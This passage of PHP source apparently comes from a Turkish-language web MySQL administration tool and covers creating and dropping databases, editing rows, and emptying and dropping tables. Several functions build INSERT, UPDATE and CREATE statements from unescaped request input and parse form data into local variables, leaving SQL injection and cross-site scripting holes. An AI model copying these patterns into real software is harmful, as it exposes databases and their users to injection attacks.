  2459. '<input name="yeniDbAdi" type="text" id="yeniDbAdi" size="15"><br><br>'."\n".
  2460. '<input name="yeniDbEkle" this.focus(); type="submit" id="yeniDbEkle" value=" '.$this->vty->dug->dil['Olustur'].' "> | '.
  2461. "\n<a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Iptal']."</a>\n";
  2462. $this->vty->tabloSonu();
  2463. }
  2464.  
  2465. /**
  2466. * YeniDatabaseEkliyorum
  2467. *
  2468. * Yeni Database ekleme isleminin yapilip bitirildigi yer.
  2469. *
  2470. */
  2471. function YeniDatabaseEkliyorum(){
  2472. $this->vty->ust();
  2473. $this->vty->tabloBas('','','20','');
  2474. $yeniDbAdi = $this->vty->gkp('yeniDbAdi');
  2475. $sql = "CREATE DATABASE `$yeniDbAdi` ";
  2476. $this->linkler = "sdb=".$yeniDbAdi;
  2477. $this->vty->SonucGoster($sql,ereg_replace('@NewDbName@',$yeniDbAdi,$this->vty->dug->uy['YeniDbOldu']),ereg_replace('@NewDbName@',$yeniDbAdi,$this->vty->dug->uy['YeniDbHata']));
  2478. $this->vty->tabloSonu();
  2479. }
  2480.  
  2481. /**
  2482. * Se�ilen database'in silinmesinin yapilip bitirildigi yer.
  2483. *
  2484. *
  2485. */
  2486. function DatabaseSil(){
  2487. $sor = ($this->vty->gp('sor')!=''?$this->vty->gp('sor'):'k');
  2488. $this->vty->ust();
  2489. $this->vty->tabloBasi3();
  2490. if($sor == "e"){
  2491. echo ereg_replace('@DbName@',$this->vty->dbname,$this->vty->dug->uy['DbSilEminmi']).'<br/>'."\n".
  2492. '<a href="'.$this->vty->urlyap($this->vty->linkler."ne=dbSil&sor=dum").'">'.$this->vty->dug->dil['Evet'].'</a> '.$this->vty->ara().' '.
  2493. '<a href="'.$this->vty->urlyap($this->vty->linkler).'">'.$this->vty->dug->dil['Hayir'].'</a>'."\n";
  2494. } elseif ($sor == "dum"){
  2495. $sql = "DROP DATABASE `".$this->vty->dbname."` ";
  2496. $this->vty->SonucGoster($sql,$this->vty->dug->uy['DbSilOldu'],$this->vty->dug->uy['DbSilHata']);
  2497. }
  2498. $this->vty->tabloSonu();
  2499. }
  2500.  
  2501.  
  2502. /**
  2503. * satirgir()
  2504. *
  2505. * Yeni Satirin Girilmesi i�in form sayfasi
  2506. *
  2507. */
  2508. function satirgir(){
  2509. $this->vty->ust();
  2510. $sec = $this->vty->db->vty_select_db($this->vty->dbname);
  2511. $query = $this->vty->db->vty_query("select * from `".$this->vty->tablename."` ");
  2512. $this->vty->tabloBasi3();
  2513. echo $this->vty->baslik($this->vty->dug->dil['SatirEkle']);
  2514. echo "<br>".$this->vty->dbname.' . '.$this->vty->tablename;
  2515. $this->vty->tabloSonu();
  2516.  
  2517. $list = $this->vty->db->vty_list_fields($this->vty->dbname, $this->vty->tablename);
  2518. $numfields = $this->vty->db->vty_num_fields($list);
  2519.  
  2520. echo '<table cellpadding="0" cellspacing="0" >';
  2521. echo '<form action="'.$this->vty->urlyap("ne=satirgir_yap&".$this->vty->linkler).'" method="post" name="satirgirform">';
  2522. echo "\t\t".'<tr>'."\n";
  2523. echo "\t\t".'<td>'."\n";
  2524. echo '<table cellpadding="5" cellspacing="1" >';
  2525. echo "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['ust_bgcolor'].'" border="'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'"'.'cellpadding="'.$this->vty->dug->gor['cellpadding'].'" height="30" >'."\n";
  2526. for($r=0;$r<$numfields;$r++){
  2527. $field_name = $this->vty->db->vty_field_name($list,$r);
  2528. $field_name = ucwords(trim($field_name));
  2529. echo '<td align="left" ><b> &nbsp;'.$field_name."</b>&nbsp;</td>\n";
  2530. }
  2531. echo '</tr>'."\n";
  2532. echo "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['alt_bgcolor'].'" height="30" cellpadding="3" >'."\n";
  2533. for($r=0;$r<$numfields;$r++){
  2534. $meta = $this->vty->db->vty_fetch_field($query,$r);
  2535. $type = $meta->type;
  2536. if($type == "blob")
  2537. $textyeri = '<textarea name="duzeltyazi[]" cols="40" rows="10"></textarea>';
  2538. elseif($type=="string")
  2539. $textyeri = '<textarea name="duzeltyazi[]" cols="20" rows="5"></textarea>';
  2540. elseif($type == "int")
  2541. $textyeri = '<input type="text" name="duzeltyazi[]" value="" size="'.$input_size.'">';
  2542. echo '<td valign="top">'.$textyeri.'</td>'."\n";
  2543. }
  2544. echo " </tr> </table> \n".
  2545.  
  2546. '<table cellpadding="5" cellspacing="1" height="50" width="'.$this->vty->dug->gor['table_width'].'" >'.'<tr>'.
  2547. '<td bgcolor="'.$this->vty->dug->gor['koyu_bgcolor'].'" colspan="'.$f.'" valign="middle" align ="left" >'."\n".
  2548. '&nbsp;<input name="duzeltonay" type="submit" value=" '.$this->vty->dug->dil['Kaydet'].' " > | '."\n".
  2549. "<input name=\"reset\" type=\"reset\" value=\"".$this->vty->dug->dil['Reset']."\" > | <a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Iptal']."</a>\n".
  2550. '<input type="hidden" name="sdquery_order" value="'.$this->sdquery_order.'">'.
  2551. '<input name="sdb" type="hidden" value="'.$this->vty->dbname.'">'.
  2552. '<input name="stb" type="hidden" value="'.$this->vty->tablename.'">'.
  2553. "</td>\n</tr>\n \n </table>\n".
  2554.  
  2555. " </td> </tr> </form> </table> \n";
  2556.  
  2557. }//end of func: satir_gir
  2558.  
  2559. /**
  2560. * satirgir_yap
  2561. *
  2562. *
  2563. *
  2564. */
  2565. function satirgir_yap(){
  2566. $this->vty->ust();
  2567. $this->vty->tabloBasi3();
  2568. $field_name = '';
  2569. $where = '';
  2570. $duzeltyazi = $this->vty->gp('duzeltyazi','p');
  2571. array($duzeltyazi);
  2572. $list = $this->vty->db->vty_list_fields($this->vty->dbname, $this->vty->tablename);
  2573. $numfields = $this->vty->db->vty_num_fields($list);
  2574. for($r=0;$r<$numfields;$r++){
  2575. $field_name_ic = $this->vty->db->vty_field_name($list,$r);
  2576. $field_name = '`'.$field_name_ic."` = '".$duzeltyazi[$r]."', ".$field_name."";
  2577. }
  2578. $field_name = substr($field_name,0,-2);
  2579. $sql = 'INSERT INTO`'.$this->vty->tablename.'` SET '.$field_name;
  2580. $this->vty->SonucGoster($sql,$this->vty->dug->uy['YeniSatirOldu'],$this->vty->dug->uy['YeniSatirHata']);
  2581. $this->vty->tabloSonu();
  2582. }
  2583.  
  2584.  
  2585. /**
  2586. * tablo_bosalt
  2587. *
  2588. *
  2589. *
  2590. */
  2591. function tablo_bosalt(){
  2592. $this->vty->ust();
  2593. $this->vty->tabloBasi3();
  2594. $sor = $this->vty->gkp('sor');
  2595. $tablename = strtoupper($this->vty->tablename);
  2596. $dbname = strtoupper($this->vty->dbname);
  2597. if($sor=="yap"){
  2598. $sql = "DELETE FROM `".$this->vty->dbname."`.`".$this->vty->tablename."`";
  2599. $this->vty->SonucGoster($sql,ereg_replace('@DbTable@','<b>'.$dbname." . ".$tablename.'</b>',$this->vty->dug->uy['BosaltOldu']),$this->vty->dug->uy['BosaltHata']);
  2600. }else{
  2601. echo ereg_replace('@DbTable@','<b>'.$dbname." . ".$tablename.'</b>',$this->vty->dug->uy['BosaltEmin']);
  2602. echo "<div style='margin:5;'></div>";
  2603. echo "<a href=\"".$this->vty->urlyap("ne=tablo_bosalt&sor=yap&".$this->vty->linkler)."\">".$this->vty->dug->dil['Evet']."</a> | ".
  2604. "<a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Hayir']."</a>";
  2605. }
  2606. $this->vty->tabloSonu();
  2607. }
  2608.  
  2609.  
  2610. /**
  2611. * tablo_kaldir
  2612. *
  2613. *
  2614. *
  2615. */
  2616. function tablo_kaldir(){
  2617. $this->vty->ust();
  2618. $this->vty->tabloBasi3();
  2619. $sor = $this->vty->gkp('sor');
  2620. $tablename = strtoupper($this->vty->tablename);
  2621. $dbname = strtoupper($this->vty->dbname);
  2622. if($sor=="yap"){
  2623. $sql = "DROP TABLE `".$this->vty->dbname."`.`".$this->vty->tablename."`";
  2624. $this->vty->tablename = '';
  2625. $this->vty->SonucGoster($sql,ereg_replace('@DbTable@','<b>`'.$dbname." . ".$tablename.'`</b>',$this->vty->dug->uy['KaldirOldu']),$this->vty->dug->uy['KaldirHata']);
  2626. }else{
  2627. echo ereg_replace('@DbTable@','<b>`'.$dbname." . ".$tablename.'`</b>',$this->vty->dug->uy['KaldirEmin']);
  2628. echo "<div style='margin:5;'></div>";
  2629. echo "<a href=\"".$this->vty->urlyap("ne=tablo_kaldir&sor=yap&".$this->vty->linkler)."\">".$this->vty->dug->dil['Evet']."</a> | ".
  2630. "<a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Hayir']."</a>";
  2631. }
  2632. $this->vty->tabloSonu();
  2633. }
  2634.  
  2635.  
  2636.  
  2637. }
  2638. ?>
  2639. <?php
  2640. class sectim
  2641. {
  2642.  
  2643. var $vty;
  2644.  
  2645. /**
  2646. * Formdan gelenler
  2647. */
  2648.  
  2649. // sdquery_order: formda tasinan mevcut tablonun ORDER BY bilgisi
  2650. var $sdquery_order;
  2651.  
  2652. // sdscheck: formdaki herbir sat�r� ifade eden id niteli�indeki bilgidir, dizidir. formdaki ad� sdscheck[]'dir
  2653. var $sdscheck;
  2654.  
  2655. // sdsduzelt: formdaki g�nder butonu. formdaki adi: sdsduzelt
  2656. var $sdsduzelt;
  2657.  
  2658. // sdssil: formdaki sil butonu. formdaki adi: sdssil
  2659. var $sdssil;
  2660.  
  2661. // DUZELT BOLUMU - sdsduzeltyazi: formdaki degistirilecek yazilari icerir iki boyutlu dizidir. formdaki ad�: sdsduzeltyazi[][] seklinde
  2662. var $sdsduzeltyazi;
  2663.  
  2664. // DUZELT BOLUMU - GidecekPrimary: formdaki parimary yoksa olacak durum i�in databasedeki bilgileri tasir. GidecekPrimary[] url encode seklindedir.
  2665. var $GidecekPrimary;
  2666.  
  2667. // TEK DUZELT BOLUMU - sdsduzeltyazi: formdaki degistirilecek yazilari icerir iki boyutlu dizidir. formdaki ad�: sdsduzeltyazi[][] seklinde
  2668. var $duzeltyazi;
  2669.  
  2670.  
  2671.  
  2672. /**
  2673. * sectim()
  2674. *
  2675. * Constructor
  2676. */
  2677. function sectim($vty)
  2678. {
  2679. $this->vty = $vty;
  2680.  
  2681. $this->query_order = $vty->gp('query_order');
  2682. $this->sdquery_order = ($vty->gp('sdquery_order')!=''?$vty->gp('sdquery_order') : $this->query_order );
  2683. $this->sdscheck = $vty->gp('sdscheck');
  2684. $this->sdsduzelt = $vty->gp('sdsduzelt');
  2685. $this->sdssil = $vty->gp('sdssil');
  2686.  
  2687. $this->sdsduzeltyazi = $vty->gp('sdsduzeltyazi');
  2688. $this->primary = $vty->gp('primary');
  2689. $this->GidecekPrimary = $vty->gp('GidecekPrimary');
  2690. $this->duzeltyazi = $vty->gp('duzeltyazi');
  2691.  
  2692. $this->vty->select_db();
  2693. $this->vty->numrows();
  2694. $this->vty->query_limit();
  2695.  
  2696. if(isset($this->sdscheck) and $this->sdscheck[0]=='budonguburadabitmez')
  2697. $this->sdscheck = array_slice($this->sdscheck,1);
  2698. }
  2699.  
  2700. /**
  2701. * _duzelt()
  2702. *
  2703. * Duzelt durumu
  2704. * se�tim sen d�zelt
  2705. *
  2706. */
  2707. function _duzelt()
  2708. {
  2709. $this->vty->tablo2($this->vty->baslik($this->vty->dug->dil['SatirDzlt'])."<br>".$this->vty->dbname." . ".$this->vty->tablename.'<br />');
  2710. //$this->__duzelt_baglantilar(&$list,&$numfields,&$GidecekPrimaryVar,&$GidecekPrimary);
  2711. $GidecekPrimary = '';
  2712. $GidecekPrimaryVar = '';
  2713. $list = $this->vty->db->vty_list_fields($this->vty->dbname,$this->vty->tablename);
  2714. $numfields = $this->vty->db->vty_num_fields($list);
  2715.  
  2716. //$this->__duzelt_tablo_basi($list,$numfields,&$GidecekPrimaryVar);
  2717. echo "\t"."<table cellpadding='0' cellspacing='0' >".
  2718. "\t\t"."<form name=\"duzeltiyorumform\" method=\"post\" action=\"".$this->vty->urlyap("ne=sectim&nebu=duzeltiyorum&".$this->vty->linkler)."\">".
  2719. "\t\t\t"."<tr>"."\n".
  2720. "\t\t\t\t"."<td>"."\n";
  2721.  
  2722. //$this->__duzelt_tabloadlari($list,$numfields,&$GidecekPrimaryVar);
  2723. //function __duzelt_tabloadlari($list,$numfields,&$GidecekPrimaryVar){
  2724. $GidecekPrimary = '';
  2725. $GidecekPrimaryVar = '';
  2726. $buff = "\t".'<table cellpadding="5" cellspacing="1" width="'.$this->vty->dug->gor['table_width'].'" nowrap >'.
  2727. "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['ust_bgcolor'].'" border="'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'"'.'cellpadding="'.$this->vty->dug->gor['cellpadding'].'" align="center" height="30" >'."\n";
  2728. for($f=0;$f<$numfields;$f++){
  2729. $fetch_field = $this->vty->db->vty_fetch_field($list,$f);
  2730. $fieldname = $fetch_field->name;
  2731. if($fetch_field->primary_key == "1") $GidecekPrimaryVar = $GidecekPrimaryVar."&primary[$fieldname]=var";
  2732. $fieldflag = $this->vty->db->vty_field_flags($list,$f);
  2733. $fieldtype = $this->vty->db->vty_field_type($list,$f);
  2734. $fieldlen = $this->vty->db->vty_field_len($list,$f);
  2735. $buff .= "\t\t\t\t"."<td align='left' >&nbsp; <strong>".$fieldname." :</strong></td>\n";
  2736. //$buff .= "\t\t\t\t"."<td> <strong>".$fieldname." :</strong><br><small> ".$fieldflag." - ".$fieldtype."(".$fieldlen.")</small></td>\n";
  2737. }
  2738. $buff .= "\t\t\t\t"."</tr>"."\n";
  2739. echo $buff;
  2740. //}endoffunc:__duzelt_tabloadlari
  2741.  
  2742. $this->__duzelt_textyerleri($list,$numfields,$GidecekPrimaryVar);
  2743.  
  2744. echo "\n </table> \n ";
  2745. echo '<table cellpadding="5" cellspacing="1" height="50" width="'.$this->vty->dug->gor['table_width'].'" >'.'<tr>'.
  2746. '<td bgcolor="'.$this->vty->dug->gor['koyu_bgcolor'].'" colspan="'.$f.'" valign="middle" align ="left" >'."\n".
  2747. '&nbsp;<input name="duzeltonay" type="submit" value=" '.$this->vty->dug->dil['Kaydet'].' " > | '."\n".
  2748. "<input name=\"reset\" type=\"reset\" value=\"".$this->vty->dug->dil['Reset']."\" > | <a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Iptal']."</a>\n".
  2749. '<input type="hidden" name="sdquery_order" value="'.$this->vty->sdquery_order.'">'."</td>\n</tr>\n \n </table>\n";
  2750. echo " </td> </tr> </form> </table> \n";
  2751.  
  2752. }
  2753.  
  2754. function __duzelt_textyerleri($list,$numfields,$GidecekPrimary)
  2755. {
  2756. $query = $this->vty->db->vty_query("SELECT * FROM `".$this->vty->tablename."` ".$this->vty->sdquery_order." ".$this->vty->query_limit);
  2757. $count = count($this->sdscheck);
  2758. // alta
  2759. for($k=0;$k<$count;$k++){
  2760. $i = $this->sdscheck[$k];
  2761. echo "\t\t".'<tr bgcolor="'.$this->vty->ikirenkli($i,$this->vty->dug->gor['ikirenklicolor1'],$this->vty->dug->gor['ikirenklicolor2']).'" valign ="top" >'."\n";
  2762. // yana
  2763. for($f=0;$f<$numfields;$f++){
  2764.  
  2765. echo "\t\t"."<td> "."\n";
  2766.  
  2767. $alanozellik = $this->vty->db->vty_fetch_field($query,$f);
  2768. $alanadi = $alanozellik->name;
  2769. $deger = $this->vty->db->vty_result($query,$i,$alanadi);
  2770.  
  2771. if(!empty($GidecekPrimaryVar)){
  2772. if($alanozellik->primary_key == "1")
  2773. $GidecekPrimary = $GidecekPrimary.'&primary['.$alanadi.']='.base64_encode($deger);
  2774. } else{
  2775. $GidecekPrimary = $GidecekPrimary.'&primary['.$alanadi.']='.base64_encode($deger);
  2776. }
  2777. $alantipi = $alanozellik->type;
  2778. $alanuzunluk = $this->vty->db->vty_field_len($list,$f);
  2779. $deger = htmlspecialchars($deger);
  2780. $textyeri = $this->vty->AlanTipi2($deger,$alantipi,$k);
  2781.  
  2782. echo "\t\t\t".$textyeri."\n".
  2783. "\t\t"."</td>"."\n";
  2784. }
  2785. echo '<input name="GidecekPrimary[]" type="hidden" value="'.$GidecekPrimary.'">'."\n";
  2786. echo "</tr>\n";
  2787. $GidecekPrimary = '';
  2788. }
  2789. }
  2790.  
  2791. /**
  2792. * _hepsiniSil()
  2793. *
  2794. * Hepsini Sil Durumu
  2795. *
  2796. */
  2797. function _hepsiniSil(){
  2798. $this->vty->tabloBasi3();
  2799. $q = 0;
  2800. $list = $this->vty->db->vty_list_fields($this->vty->dbname, $this->vty->tablename);
  2801. $query = $this->vty->db->vty_query("SELECT * FROM `".$this->vty->tablename."` ".$this->vty->query_order." ".$this->vty->query_limit);
  2802. $numfield = $this->vty->db->vty_num_fields($list);
  2803. $count = count($this->sdscheck);
  2804. $PrimaryVar = $this->vty->PrimaryVarMi();
  2805. // alta
  2806. for($k=0;$k<$count;$k++){
  2807. $where = '';
  2808. $i = $this->sdscheck[$k];
  2809. // yana
  2810. for($f=0;$f<$numfield;$f++){
  2811. $alanozellik = $this->vty->db->vty_fetch_field($list,$f);
  2812. $alanadi = $alanozellik->name;
  2813. $result = $this->vty->db->vty_result($query,$i,"$alanadi");
  2814. if($PrimaryVar == 1){
  2815. if($alanozellik->primary_key == 1)
  2816. $where = $where." `".$alanadi."` = '".$result."' and ";
  2817. }else{
  2818. echo $where = $where." `".$alanadi."` = '".$result."' and ";
  2819. }
  2820. }
  2821. $where = substr($where,0,-4);
  2822.  
  2823. $querydel = $this->vty->db->vty_query('DELETE FROM `'.$this->vty->tablename.'` WHERE '.$where.' LIMIT 1');
  2824. if($this->vty->db->vty_error())
  2825. $hata[] = $this->vty->db->vty_errno()." : ".$this->vty->db->vty_error()." -> ".$this->vty->TrMysqlError($this->vty->db->vty_errno()) ;
  2826. if($querydel)
  2827. $q++;
  2828. unset($querydel);
  2829. }//f
  2830.  
  2831. /// Sonu�
  2832. if($q==$k){
  2833. $cevap = ($k==1 ? $this->vty->dug->uy['SatirSilindi'] : ereg_replace('@number@',"$k",$this->vty->dug->uy['SatirNSilindi']));
  2834. echo '<font color="green" >'.$cevap."</font>\n<br/>\n".
  2835. "<div style='margin:5;'></div>".
  2836. '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a>'."\n".
  2837. '<meta http-equiv="refresh" content="1;URL='.$this->vty->urlyap($this->vty->linkler).'"><br/> ';
  2838.  
  2839. } elseif($q>0 and $q < $k){
  2840. $hata = DiziyiAc($hata,"<br>");
  2841. $cevap = ereg_replace('@number@',"$k",$this->vty->dug->uy['SatirSilNHata']);
  2842.  
  2843. echo '<font color="red" size="3" >'.$this->vty->dug->uy['SatirSilNHata']."</font>\n<br/>".
  2844. '<font color="red">'.$this->vty->dug->dil['MysqlHata'].':</font> '.$hata.'<br/>'.
  2845. '<font color="red">'.$this->vty->dug->dil['Sql'].':</font> '.$sql.'<br/><br/>'.
  2846. "<div style='margin:5;'></div>".
  2847. '<a href="javascript:history.back(-1)" > � '.$this->vty->dug->dil['Geri'].'</a> '.$this->vty->ara().' '.
  2848. '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a><br/> '."\n";
  2849. } else{
  2850. $hata = DiziyiAc($hata,"<br>");
  2851. echo '<font color="red" size="3" >'.$this->vty->dug->uy['SatirSilHata']."</font>\n<br/>".
  2852. '<font color="red">'.$this->vty->dug->dil['MysqlHata'].':</font> '.$hata.'<br/>'.
  2853. '<font color="red">'.$this->vty->dug->dil['Sql'].':</font> '.$sql.'<br/><br/>'.
  2854. "<div style='margin:5;'></div>".
  2855. '<a href="javascript:history.back(-1)" > � '.$this->vty->dug->dil['Geri'].'</a> '.$this->vty->ara().' '.
  2856. '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a><br/> '."\n";
  2857. }
  2858.  
  2859. $this->vty->tabloSonu();
  2860. }
  2861.  
  2862. /**
  2863. * _duzeltiyorum()
  2864. *
  2865. * D�zeltiyorum Durumu
  2866. * hepsini d�zeltiyorum
  2867. *
  2868. */
  2869. function _duzeltiyorum(){
  2870. $list = $this->vty->db->vty_list_fields($this->vty->dbname, $this->vty->tablename);
  2871. $numfields = $this->vty->db->vty_num_fields($list);
  2872. //$sdsduzeltyazi = (isset($sdsduzeltyazi) ? $sdsduzeltyazi : '' );
  2873. $duzeltyazi = (isset($duzeltyazi) ? $duzeltyazi : '' );
  2874. //$GidecekPrimary = (isset($GidecekPrimary) ? $GidecekPrimary : '' );
  2875. array($duzeltyazi);
  2876. $this->GidecekPrimary;
  2877. $count = count($this->GidecekPrimary);
  2878. for($k=0,$i=0;$i<$count;$i++){
  2879. $field_name = '';
  2880. $where = '';
  2881. array($this->sdsduzeltyazi[$i]);
  2882. @parse_str($this->GidecekPrimary[$i]);
  2883. foreach($primary as $anahtar => $deger){
  2884. $where = $where." `".$anahtar."` = '".addslashes(base64_decode($deger))."' and";
  2885. }
  2886. $where = substr($where,0,-4);
  2887. for($r=0;$r<$numfields;$r++){
  2888. $field_name = '`'.$this->vty->db->vty_field_name($list,$r)."` = '".$this->sdsduzeltyazi[$i][$r]."' , ".$field_name;
  2889. }
  2890. $field_name = substr($field_name,0,-2);
  2891. $sql = "UPDATE `".$this->vty->tablename."` set ".$field_name." WHERE ".$where;
  2892. $query = $this->vty->db->vty_query("$sql");
  2893. if($this->vty->db->vty_error())
  2894. $hata[] = $this->vty->db->vty_errno()." : ".$this->vty->db->vty_error()." -> ".$this->vty->db->vty_error($this->vty->db->vty_errno()) ;
  2895. if($query)
  2896. $k++;
  2897. unset($primary);
  2898. }
  2899. $this->vty->tabloBasi3();
  2900. // sonu�
  2901. if($k==$i){
  2902. echo "<font color=\"green\">".$this->vty->dug->uy['SatirlarDuzeldi']."</font><br/>".
  2903. "<div style='margin:5;'></div>".
  2904. "<a href=\"".$this->vty->urlyap($this->vty->linkler)."\" >".$this->vty->dug->dil['Tamam']."</a>\n";
  2905. echo '<meta http-equiv="refresh" content="1;URL='.$this->vty->urlyap($this->vty->linkler).'" ><br/>'."\n";
  2906. } elseif($k>0 and $k < $i){
  2907. $hata = $this->vty->DiziyiAc($hata,"<br>");
  2908. $cevap = "Error: $k rows updated but error on ".($i-$k)." rows .<br>"."Mysql Hata �iktisi:<br>\"$hata\"<br>";
  2909. echo "<font color=\"red\">$cevap</font>\n<br>\n".
  2910. "<div style='margin:5;'></div>".
  2911. "<a href=\"javascript:history.back(-1)\">&lt;&lt; ".$this->vty->dug->dil['Geri']."</a> | <a href=\"".$this->vty->urlyap($this->vty->linkler)."\" >".$this->vty->dug->dil['Tamam']."</a>\n";
  2912. } else{
  2913. $hata = $this->vty->DiziyiAc($hata,"<br>");
  2914. $cevap = $this->vty->dug->uy['SatirlarDuzeltHata']."<br>"."Mysql Hata �iktisi:<br>\"$hata\"<br>";
  2915. echo "<font color=\"red\">$cevap</font>\n<br>\n".
  2916. "<div style='margin:5;'></div>".
  2917. "<a href=\"javascript:history.back(-1)\">&lt;&lt; ".$this->vty->dug->dil['Geri']."</a> | <a href=\"".$this->vty->urlyap($this->vty->linkler)."\" >".$this->vty->dug->dil['Tamam']."</a>\n";
  2918. }
  2919. $this->vty->tabloSonu();
  2920.  
  2921.  
  2922.  
  2923.  
  2924. }
  2925.  
  2926. /**
  2927. * bunlariDuzelt()
  2928. */
  2929. function _bunlariDuzelt(){
  2930. $this->vty->tabloBasi3();
  2931. $where = '';
  2932. $field_name = '';
  2933. @parse_str($this->GidecekPrimary);
  2934. foreach($primary as $anahtar => $deger){
  2935. $where .= " `".$anahtar."`='".$deger."' and";
  2936. }
  2937. $where = substr($where,0,-4);
  2938.  
  2939. $list = $this->vty->db->vty_list_fields($this->vty->dbname, $this->vty->tablename);
  2940. $numfields = $this->vty->db->vty_num_fields($list);
  2941. for($r=0;$r<$numfields;$r++){
  2942. $field_name = $this->vty->db->vty_field_name($list,$r)."= '".$this->duzeltyazi[$r]."' , ".$field_name."";
  2943. }
  2944. $field_name = substr($field_name,0,-2);
  2945. $sql = "UPDATE `".$this->vty->tablename."` SET ".$field_name." WHERE ".$where." LIMIT 1";
  2946. if($this->vty->db->vty_query($sql)){
  2947. echo '<font color="green" >'.$this->vty->dug->uy['SatirDuzeldi'].'</font>'."\n".'<br>'.
  2948. "<div style='margin:5;'></div>".
  2949. '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a>'."\n";
  2950. echo '<meta http-equiv="refresh" content="1;URL='.$this->vty->urlyap($this->vty->linkler).'" >'."\n";
  2951. }else{
  2952. echo '<font color="red" >'.$this->vty->dug->uy['SatirDuzelHata'].'<br><br>'.$this->vty->db->vty_error().'<br>'.'</font>'."\n".'<br>'."\n".'<a href="javascript:history.back(-1);">&lt;&lt; '.$this->vty->dug->dil['Geri'].'</a> | <a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a>'."\n";
  2953. }
  2954. $this->vty->tabloSonu();
  2955. }
  2956. }
  2957. ?>
  2958. <?php
  2959.  
  2960. /**
  2961. * Class tablo
  2962. *
  2963. * Veritabanindan cekilen bilgilerin listelendigi asil tabloyu yapan fonksiyonlar.
  2964. *
  2965. */
  2966. class tablo
  2967. {
  2968. var $vty;
  2969. var $GidecekPrimary;
  2970.  
  2971. /**
  2972. * tablo()
  2973. *
  2974. * Constructor
  2975. */
  2976. function tablo($vty)
  2977. {
  2978. $this->vty = $vty;
  2979. }
  2980.  
  2981. /**
  2982. * asil_tablo()
  2983. *
  2984. * Olayin dondugu asil tablodur
  2985. * Tablolarin icindeki bilgilerin gosterildigi asil tablodur
  2986. *
  2987. * @param $duzeltid eger duzelt durumu varsa hangi satir duzeltilecekse onun idsi
  2988. * @access public
  2989. */
  2990. function asil_tablo()
  2991. {
  2992. $duzeltid = $this->vty->gp('duzeltid');
  2993. $this->vty->select_db();
  2994. $this->vty->numrows();
  2995.  
  2996. $this->tablo_ust_linkler();
  2997. $this->vty->SayfaYap();
  2998.  
  2999. $query = $this->vty->db->vty_query("SELECT * FROM ".$this->vty->gecici_tb_adi()." ".$this->vty->query_order." ".$this->vty->query_limit);
  3000. $numrows = $this->vty->db->vty_num_rows($query);
  3001. $numfields = $this->vty->db->vty_num_fields($query);
  3002.  
  3003. $this->asil_tablo_ust();
  3004. $GidecekPrimaryVar = $this->asil_tablo_adlari($query,$numfields);
  3005. $this->asil_tablo_hep_hic($numrows);
  3006. for($i=0;$i<$numrows;$i++){
  3007. $_bgcolor = strtoupper($this->vty->ikirenkli($i,$this->vty->dug->gor['ikirenklicolor1'],$this->vty->dug->gor['ikirenklicolor2']));
  3008. echo "\t\t"."<tr bgcolor=\"".$_bgcolor.'"'.' valign="top" '.
  3009. "onclick=\"if(this.style.background=='#eae8bb') this.style.background='".$_bgcolor."'; else this.style.background='#eae8bb';\" ".
  3010. "onmouseover=\"if(this.style.background!='#eae8bb')this.style.background='#e9f3f8'; \" onmouseout=\"if(this.style.background!='#eae8bb')this.style.background='".$_bgcolor."';\"".
  3011. //window.status=this.style.background;
  3012. //"onclick=\"if(this.style.background=='#EAE8BB') this.style.background='".$_bgcolor."'; else this.style.background='#EAE8BB';\" ".
  3013. //"onmouseover=\"window.status=this.style.background; if(this.style.background!='#EAE8BB')this.style.background='#E9F3F8'; \" onmouseout=\"if(this.style.background!='#EAE8BB')this.style.background='".$_bgcolor."';\"".
  3014. //" ondblClick=\"this.style.background='".$_bgcolor."';\"".
  3015. //"onmouseover=\"window.status=this.style.background; \"".
  3016. '>'."\n"; //#BFDCEA#F5F4DE#EAE8BB#DCEBBA#E8D9BD #E9F3F8#E0EFF5 #EAE8BB
  3017. $this->asil_tablo_ici_duzeltdurumu($duzeltid,$i);
  3018.  
  3019. $fetch = $this->vty->db->vty_fetch_row($query);
  3020. for($r=0;$r<$numfields;$r++){
  3021. if($this->vty->ne == "duzelt" and $duzeltid == $i )
  3022. echo $this->asil_tablo_ici_goruntu_duzelt($fetch[$r],$query,$r,$GidecekPrimaryVar);
  3023. else
  3024. echo $this->asil_tablo_ici_goruntu_normal($fetch[$r],$this->vty->ilk);
  3025. }
  3026.  
  3027. $this->asil_tablo_ici_hepsiniduzelt($duzeltid,$i,$numrows);
  3028. echo "\t\t".'</tr>'."\n";
  3029. }
  3030. $this->asil_tablo_ici_satiryoksa($numrows,$numfields);
  3031. $this->asil_tablo_ici_altkisim($numrows,$numfields,$i);
  3032. $this->asil_tablo_alt($numfields);
  3033.  
  3034. }
  3035.  
  3036. /*
  3037. *
  3038. * Duzelt kismi ust menu
  3039. */
  3040. function tablo_ust_linkler()
  3041. {
  3042. $this->vty->tabloBas('','1','5','','0','#E9EDE9');
  3043. //$this->vty->tabloBas('','0','','0','0','#E9EDE9');
  3044. echo "\t\t\t\t".'&nbsp;<a href="'.$this->vty->urlyap("ne=sqlgoster&".$this->vty->linkler)."\">".$this->vty->dug->dil['Sql'].'</a> '.$this->vty->ara().' '."\n".
  3045. "\t\t\t\t".'<a href="'.$this->vty->urlyap("ne=dumpet&".$this->vty->linkler)."\">".$this->vty->dug->dil['DumpTables'].'</a>'."\n".
  3046. "\t\t\t".'</td>'."\n".
  3047. "\t\t\t".'<td align="right" >'."\n".
